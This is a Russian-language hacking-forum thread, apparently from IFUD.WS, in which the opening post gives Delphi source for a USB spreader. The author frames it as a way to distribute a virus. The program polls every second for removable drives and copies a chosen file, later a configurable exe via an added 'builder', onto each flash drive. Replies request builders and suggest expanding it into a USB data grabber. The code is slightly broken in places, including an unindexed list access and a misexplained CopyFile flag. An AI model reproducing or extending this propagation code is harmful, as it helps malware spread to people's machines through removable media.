1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Распространение "файла"

Тема в разделе "Программирование", создана пользователем Walentinka, 11 фев 2013.

  1. TopicStarter Overlay
    Walentinka

    Walentinka

    Регистрация:
    29 янв 2013
    Сообщения:
    96
    Симпатии:
    47
    Доброго времени суток! Однажды прочитал тему одного из админов,по распространению вируса,решил написать небольшую статейку как это осуществил я.

    И так приступим...
    Писать мы будем на Borland Delphi 7.

    Алгоритм такой:
    1.Проверяем состояние компьютера
    2.Если найдено устройство USB
    3.Проверяем есть ли там наш файл
    4.Записываем

    Начнем.Главная процедура - это определение логических дисков компьютера.
    Выглядит она так

    Код:
    procedure GetDrives; //Поиск логических дисков
    var
      DriveN: Integer;
      DriveC: Char;
      DriveB: set of 0..25;
    begin
      Integer(DriveB) := GetLogicalDrives;
      for DriveN := 0 to 25 do begin
      if not (DriveN in DriveB) then
        Continue;
        DriveC := Char(DriveN + Ord('a'));
        If GetDriveType(PChar(DriveC + ':\'))=DRIVE_REMOVABLE then Form1.lst1.Items.Add(DriveC + ':\');
      end;
    end;
    Опишу главную строку

    Код:
    If GetDriveType(PChar(DriveC + ':\'))=DRIVE_REMOVABLE then Form1.lst1.Items.Add(DriveC + ':\');
    Если DriveC+ ':\' (Пример H:\) сьемный диск, то копируем DriveC+ ':\' в ListBox.
    Теперь создадим ListBox,компонент во вкладке Standard.
    Туда буду добавляться найденные Сьемные логические диски.
    Добавим таймер,вкладка System. Щелкним по таймеру два раза на главной форме и добавим процедуру GetDrives.

    Код:
    procedure TForm1.tmr1Timer(Sender: TObject);
    begin
    GetDrives;
    end;
    Таймер каждую секунду выполняет процедуру GetDrives и если находит сьемный диск отображает его имя в listbox'e.

    Добавим проверку,если listbox не пустой то проверим устростйво,скопировали ли мы туда файл.

    Код:
    If lst1.Items.Count<>0 then
    begin
    end;
    Проверяем listbox на наличие записей в нем.

    Код:
    for i:=0 to count-1 do
      begin
      end;
    Создаем цикл который проверит все записи listboxa.

    Код:
    if FileExists(lst1.Items+'1.txt')=False then
    begin
    end;


    FileExists функция которая проверяет создан ли определенный файл, в данном случае мы проверяем H:\1.txt если такого файла нет,то мы его туда скопируем.

    Код:
    CopyFile( 'D:\1.txt', PChar(lst1.Items+'1.txt'), True);


    CopyFile копирует один файл из одного места в другое.В данном случае мы копируем из D:\1.txt в H:\1.txt,переключатель типа Boolean в положение True означает разрешение на перезапись.

    Все,программа готова.Она ежесекундно проверяет наличие usb устройства.Если находит,и узнает что нашего файла там нет,то копирует его.Программу можно использовать у себя на машине,чтоб записывать нужный файл на все флешки. Программу можно модернизировать.все зависит от вас ;)

    Итоговый код

    Код:
    unit Unit1;
     
    interface
     
    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, ExtCtrls, StdCtrls, IdBaseComponent, IdAntiFreezeBase,
      IdAntiFreeze;
     
    type
      TForm1 = class(TForm)
        tmr1: TTimer;
        lst1: TListBox;
        idntfrz1: TIdAntiFreeze;
        procedure tmr1Timer(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;
     
    var
      Form1: TForm1;
     
    implementation
     
    {$R *.dfm}
     
    procedure GetDrives; //Поиск флеш дисков
    var
      DriveN: Integer;
      DriveC: Char;
      DriveB: set of 0..25;
    begin
      Integer(DriveB) := GetLogicalDrives;
      for DriveN := 0 to 25 do begin
      if not (DriveN in DriveB) then
        Continue;
        DriveC := Char(DriveN + Ord('a'));
        If GetDriveType(PChar(DriveC + ':\'))=DRIVE_REMOVABLE then Form1.lst1.Items.Add(DriveC + ':\');
      end;
    end;
     
    procedure TForm1.tmr1Timer(Sender: TObject);
    var
    count,i:Integer;
    A:string;
    begin
    GetDrives;
    count:=lst1.Items.Count; //Считаем кол-во логических дисков
    If count<>0 then
    begin
      for i:=0 to count-1 do
      begin
      a:=lst1.Items;
      if FileExists(a+'1.txt')=False then
        begin
        CopyFile( 'D:\1.txt', PChar(a+'1.txt'), True);
        end;
        end;
      lst1.Items.Clear;
    end;
    end;
     
    end.
    


    Если кто то был немного не внимателен или не совсем знаком с языком Delphi,для таких прикрепляю исходник.

    Спасибо за внимание,"статья" написанна специально для Please login or register to view links.

    Отредактированно 16.02.2013------------------------------------------

    Добавил Builder.
    [​IMG]

    Краткий мануал:
    Имя EXE - Имя exe которого изменяем
    Файл на Flash - Какой файл проверяем на флешке,если такого нет,копируем наш файл на флешку
    Путь до файла - Путь до файла который будем копировать
    Имя на Flash - Какое будет имя скопированного нами exe

    Исходники билда и программы в архиве.
    Вариант написания Build'а/Patch'a напишу позже,отдельно.

    P.S.
    Автор не несет никакой ответственности за любое использование этого материала.
     

    Вложения:

    • USB.rar
      Размер файла:
      508,9 КБ
      Просмотров:
      11
    • Like Like x 7
    Метки:
  2. ImDeniil

    ImDeniil Гость

    Вот был бы билдер и все было замечательно.А так -_- печально
     
  3. TopicStarter Overlay
    Walentinka

    Walentinka

    Регистрация:
    29 янв 2013
    Сообщения:
    96
    Симпатии:
    47
    Можно сделать!
    Сделаю,прикреплю.
     
  4. EEjester

    EEjester hack_the_god

    Регистрация:
    25 окт 2012
    Сообщения:
    1.339
    Симпатии:
    957
    фриц, диса, в кодеры Walentinka киньте. С человеком работал, своё дело знает на ура!
     
  5. Ltybcrf

    Ltybcrf Гость

    ok )
    --- добавлено: 12 фев 2013 в 14:16 ---
    Требование - выложить программу собственного произведения.
    В противном случае прийдётся снять статус программиста.
    --- добавлено: 12 фев 2013 в 14:18 ---
    Please login or register to view links
    Нужен код билдера на делфи! Лично я мечтаю сам научиться делать билдер который будет выплёвывать готовый *.exe
    Все знают что я не програмист но очень хочу чтото уметь. Создай статью об этом.
    И я тебя хорошо отблагодарю. Думаю что ребята тоже!
    --- добавлено: 12 фев 2013 в 14:20 ---
    Все мануалы по созданию билдера непонятны ... и их выполнение не приводит к работоспособной программе.
    Грамотный мануал повысит посещаемость увеличит количество пользователей на форуме.

    Зарание спасибо.
    С уважением, Ltybcrf.
     
  6. Born

    Born

    Регистрация:
    19 янв 2013
    Сообщения:
    257
    Симпатии:
    147
    Если сообразить! то можно Полноценный usb грабер наваять.
     
  7. nevazhno

    nevazhno

    Регистрация:
    10 июн 2012
    Сообщения:
    18
    Симпатии:
    16
    Билдер к чему?
     
  8. Ltybcrf

    Ltybcrf Гость

    да хоть к чемунибудь просто с росписью что да куда. )
    --- добавлено: 12 фев 2013 в 23:13 ---
    вот как тут например просто я по инструкции делаю неполучается
    --- добавлено: 12 фев 2013 в 23:13 ---
    Please login or register to view links
     
  9. nevazhno

    nevazhno

    Регистрация:
    10 июн 2012
    Сообщения:
    18
    Симпатии:
    16


    Если True - то файл не перезаписывается
    Если False - то если файл существует он будет перезаписан
     
    • Like Like x 2
  10. TopicStarter Overlay
    Walentinka

    Walentinka

    Регистрация:
    29 янв 2013
    Сообщения:
    96
    Симпатии:
    47
    Постараюсь реализовать в ближайшее время,сейчас немного с учебой раскурюсь и в бой)



    Имеют ввиду билдер который правит код автоматически.
    Пример: Написать еще один exe,в котором 1 поле edit указывая в него C:\Тратата\ШурумБурум\1.exe данная программа автоматически станет копировать на все флешки файл который находиться по адресу C:\Тратата\ШурумБурум\1.exe .
    Преимущество
    + Отсутсвие знания языка (Код готовый,укажи только путь до файла и будет тебе счастье)
    + Отсутсвие компилятора (Отсутсвие в принципе или отсутсвие компилятора в данный момент)

    Короче преимущество "на лицо" .
     
    • Like Like x 1
  11. nevazhno

    nevazhno

    Регистрация:
    10 июн 2012
    Сообщения:
    18
    Симпатии:
    16
    Билдер!

    [​IMG]

    Пишем имя сохраняемого файла который будет копироваться на флешку, жмем ОК выбираем сам файл который будет копироваться на флешки
    Please login or register to view links
     
  12. googie

    googie Команда форума

    Регистрация:
    27 июл 2012
    Сообщения:
    824
    Симпатии:
    616
    прилепи исходник, очень интересно было бы взглянуть
    --- добавлено: 13 фев 2013 в 09:45 ---
    Please login or register to view links вот одна из темок, поищи на форуме том, может еще что найдешь интересующего
    --- добавлено: 13 фев 2013 в 09:59 ---
    Please login or register to view links
    Please login or register to view links
    еще пара ссылок
     
    • Like Like x 1
  13. Ltybcrf

    Ltybcrf Гость

    Да всё правильно тем много!Но вот такой чтобы сесть всё сделать по мануалу и работало нету ..
    Заранее спасибо большое! Буду ждать!
     
    • Like Like x 1
  14. nevazhno

    nevazhno

    Регистрация:
    10 июн 2012
    Сообщения:
    18
    Симпатии:
    16

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!

    Исход - Please login or register to view links
     
    • Like Like x 2
  15. TopicStarter Overlay
    Walentinka

    Walentinka

    Регистрация:
    29 янв 2013
    Сообщения:
    96
    Симпатии:
    47
    UP.
    Добавил Build/Patch как просили.
    Обновил Тему.
     
    • Like Like x 3
  16. da_nikto

    da_nikto

    Регистрация:
    2 май 2013
    Сообщения:
    51
    Симпатии:
    10
    еще вроде как можно посредством CreateEvent создавать ситуацию поясняющую вопрос с воткнутым USB-drive и собственно с этого велосипед и начинается.
    Please login or register to view links
     

Поделиться этой страницей

Загрузка...